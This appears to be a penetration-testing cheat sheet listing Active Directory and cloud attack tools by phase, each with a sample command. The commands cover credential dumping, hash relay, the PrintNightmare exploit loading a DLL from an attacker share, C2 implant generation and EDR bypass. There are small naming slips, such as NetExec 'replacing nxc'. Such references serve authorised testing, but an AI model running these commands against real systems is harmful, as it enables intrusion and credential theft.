Last reviewed 7 min read

Internal Pentest Tools Arsenal

Comprehensive toolkit for Active Directory attacks, lateral movement, privilege escalation, credential harvesting, and defense evasion. Organized by attack phase for quick reference during engagements.

Information

nxc → NetExec: nxc (CME) was archived in 2024. NetExec (nxc) is the community-maintained fork and the new standard. All commands below use nxc.

🔍 Enumeration & Reconnaissance

BloodHound / SharpHound

AD Enumeration
Docs

Graph-based AD relationship mapper. Identifies attack paths from any user to Domain Admin via ACLs, group memberships, sessions, and delegation.

Installation

SharpHound.exe -c All,GPOLocalGroup --zipfilename bh.zip

NetExec (nxc)

Multi-Protocol
Docs

Swiss army knife for network pentesting. Replaces nxc. SMB/LDAP/MSSQL/WinRM/RDP/SSH enumeration, spraying, command execution.

Installation

pipx install netexec

PowerView

AD Enumeration
Docs

PowerShell AD enumeration — users, groups, ACLs, GPOs, trusts, delegation, SPNs. The gold standard for AD recon.

Installation

Import-Module .\PowerView.ps1; Get-DomainUser

ldapdomaindump

LDAP
Docs

Active Directory information dumper via LDAP. Exports users, groups, computers, policies as HTML and JSON.

Installation

ldapdomaindump -u 'DOMAIN\user' -p 'Pass' ldap://DC-IP

enum4linux-ng

SMB/RPC
Docs

Next-gen Windows/SMB enumeration tool. Null sessions, shares, users, groups, password policies via RPC/LDAP/SMB.

Installation

enum4linux-ng -A target-ip

ADRecon

AD Enumeration
Docs

Gathers extensive AD data into Excel/CSV — users, computers, GPOs, ACLs, LAPS, trusts. Great for reporting.

Installation

.\ADRecon.ps1 -OutputType XLSX

🔐 Credential Attacks

Responder

Man-in-the-Middle
Docs

LLMNR/NBT-NS/MDNS poisoner. Captures NTLMv1/v2 hashes from multicast name resolution on the local network.

Installation

responder -I eth0 -wFb

Mimikatz

Credential Dumping
Docs

The credential extraction tool. LSASS dumping, Kerberos ticket extraction, DPAPI decryption, DCSync, golden/silver tickets.

Installation

sekurlsa::logonpasswords

Rubeus

Kerberos
Docs

C# Kerberos abuse toolkit — AS-REP roasting, Kerberoasting, S4U, delegation abuse, ticket forging, and pass-the-ticket.

Installation

Rubeus.exe kerberoast /outfile:hashes.txt

Impacket

Multi-Purpose
Docs

Python network protocol library. Includes secretsdump (DCSync), ntlmrelayx (relay), psexec/wmiexec/smbexec, GetUserSPNs, and 50+ tools.

Installation

pip install impacket

hashcat

Password Cracking
Docs

GPU-accelerated password cracker. Supports 300+ hash types including NTLM, NTLMv2, Kerberoast, AS-REP, and NetNTLM.

Installation

hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule

Coercer

Coercion
Docs

Automatically finds and exploits Windows authentication coercion vulnerabilities (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce).

Installation

coercer coerce -u user -p pass -t DC-IP -l LISTEN-IP

ntlmrelayx (Impacket)

Relay
Docs

NTLM relay attack tool. Relays captured authentication to SMB, LDAP, MSSQL, HTTP, ADCS. Supports RBCD and shadow credentials.

Installation

ntlmrelayx.py -t ldap://DC-IP --delegate-access

SharpDPAPI

Credential Harvesting
Docs

C# DPAPI abuse — decrypt browser passwords, credential blobs, and vault entries using user/machine/domain keys.

Installation

SharpDPAPI.exe triage

💥 Exploitation

Certipy

ADCS
Docs

AD Certificate Services enumeration and abuse. Finds and exploits ESC1-ESC13 misconfigurations for domain privilege escalation.

Installation

certipy find -u user@corp.local -p Pass -dc-ip DC-IP -vulnerable

Whisker

Shadow Credentials
Docs

Shadow Credentials attack tool. Adds msDS-KeyCredentialLink to target accounts for certificate-based authentication.

Installation

Whisker.exe add /target:victim /domain:corp.local

KrbRelayUp

Privilege Escalation
Docs

One-click local privilege escalation via Kerberos relay. Combines RBCD + S4U for SYSTEM from any domain user.

Installation

KrbRelayUp.exe relay -Domain corp.local -CreateNewComputerAccount -ComputerName YOURPC$ -ComputerPassword Pass

noPac (SAMAccountName)

CVE Exploit
Docs

Exploits CVE-2021-42278/42287. Impersonate Domain Controller via SAMAccountName spoofing for instant DA.

Installation

noPac.py corp.local/user:Pass -dc-ip DC-IP --impersonate administrator -dump

PetitPotam

Coercion
Docs

Coerces Windows hosts to authenticate via MS-EFSRPC. Chain with ntlmrelayx to ADCS for domain takeover.

Installation

petitpotam.py LISTEN-IP DC-IP

PrintNightmare

CVE Exploit
Docs

CVE-2021-34527 — Remote code execution via Windows Print Spooler for instant SYSTEM on unpatched hosts.

Installation

CVE-2021-1675.py corp.local/user:Pass@TARGET '\\ATTACKER\share\evil.dll'

🔄 Lateral Movement & Remote Access

Evil-WinRM

Remote Access
Docs

Feature-rich WinRM shell — file upload/download, PowerShell, DLL loading, log evasion. The go-to for Windows remote access.

Installation

evil-winrm -i TARGET -u admin -H NTLM_HASH

psexec / smbexec / wmiexec

Remote Execution
Docs

Impacket remote execution suite. PsExec (service), SMBExec (no disk write), WMIExec (stealthier). All support pass-the-hash.

Installation

wmiexec.py -hashes :NTLM corp.local/admin@TARGET

atexec / dcomexec

Remote Execution
Docs

Impacket alternatives for lateral movement via Task Scheduler (atexec) or DCOM (dcomexec). Less commonly monitored.

Installation

atexec.py corp.local/admin:Pass@TARGET 'whoami'

SharpRDP

Remote Access
Docs

Remote Desktop Protocol command execution. Authenticates via RDP and sends keystrokes for stealthy execution.

Installation

SharpRDP.exe computername=TARGET command='cmd /c whoami' username=admin password=Pass

🏴 Post-Exploitation & Privilege Escalation

WinPEAS

Privilege Escalation
Docs

Windows privilege escalation enumeration — services, registry, credentials, scheduled tasks, DLL hijack opportunities.

Installation

winpeas.exe quiet servicesinfo

Seatbelt

Situational Awareness
Docs

GhostPack C# security audit tool — system info, credentials, browser data, installed software, and security product detection.

Installation

Seatbelt.exe -group=all -full

LaZagne

Credential Harvesting
Docs

Retrieves passwords stored on a local computer — browsers, databases, mail, Wi-Fi, sysadmin tools, and more.

Installation

lazagne.exe all

SharpUp

Privilege Escalation
Docs

C# port of PowerUp. Finds common Windows privilege escalation vectors: misconfigured services, unquoted paths, modifiable binaries.

Installation

SharpUp.exe audit

🛡️ Defense Evasion

ScareCrow

Payload Generation
Docs

Payload creation framework for side-loading. EDR bypass via signed DLLs, process injection, and syscall obfuscation.

Installation

ScareCrow -I beacon.bin -Loader dll -domain microsoft.com

Nim / NimPackt-v2

Payload Development
Docs

Nim-based payload framework. Compiles to native Windows binaries with low AV detection rates.

Installation

python3 NimPackt.py -e shinject -i beacon.bin -t csharp

BOF.NET / Cobalt Strike BOFs

In-Memory Execution
Docs

Beacon Object Files — in-memory .NET execution and custom BOFs for EDR evasion within C2 frameworks.

Installation

# Load via C2 beacon

EDRSandBlast

Kernel Bypass
Docs

Kernel-level EDR bypass via vulnerable drivers (BYOVD). Removes kernel callbacks, ETW providers, and minifilter altitudes.

Installation

EDRSandblast.exe --usermode --kernelmode

🌐 Pivoting & C2 Frameworks

Ligolo-ng

Pivoting
Docs

Advanced tunneling/pivoting tool using TUN interface. Creates transparent network tunnels without SOCKS proxies.

Installation

# Proxy: ligolo-proxy -selfcert
# Agent: ligolo-agent -connect PROXY:11601 -retry

Sliver

C2 Framework
Docs

Open-source C2 framework. HTTP(S)/mTLS/WireGuard/DNS implants, BOF support, traffic encryption, pivoting.

Installation

sliver > generate --mtls LISTEN_IP --os windows --save implant.exe

Havoc

C2 Framework
Docs

Modern C2 framework with demon agents. Sleep obfuscation, indirect syscalls, token manipulation, and BOF execution.

Installation

# Build and run Havoc teamserver

chisel

Pivoting
Docs

Fast TCP/UDP tunnel over HTTP with SSH. Port forwarding and SOCKS5 proxy through restricted networks.

Installation

# Server: chisel server --reverse -p 8080
# Client: chisel client PROXY:8080 R:socks

☁️ Cloud & Hybrid Identity

AADInternals

Azure AD
Docs

Azure AD / Entra ID toolkit. Tenant recon, PTA backdoors, Seamless SSO abuse, AAD Connect credential extraction.

Installation

Import-Module AADInternals; Invoke-AADIntReconAsOutsider -DomainName corp.com

ROADtools

Azure AD
Docs

Azure AD enumeration framework. Dumps users, groups, service principals, apps, conditional access, and device registrations.

Installation

roadrecon auth -u user@corp.com -p Pass; roadrecon gather; roadrecon gui

GraphRunner

M365
Docs

Post-exploitation framework for Microsoft Graph API. Token manipulation, email access, Teams messages, and SharePoint enumeration.

Installation

Import-Module .\GraphRunner.ps1; Get-GraphTokens

TeamFiltration

M365
Docs

Cross-platform framework for enumerating, spraying, exfiltrating, and backdooring Microsoft 365 / Teams accounts.

Installation

TeamFiltration.exe --outpath results --enum --domain corp.com

📚 Recommended Books

Essential command references to keep within arm's reach during engagements.

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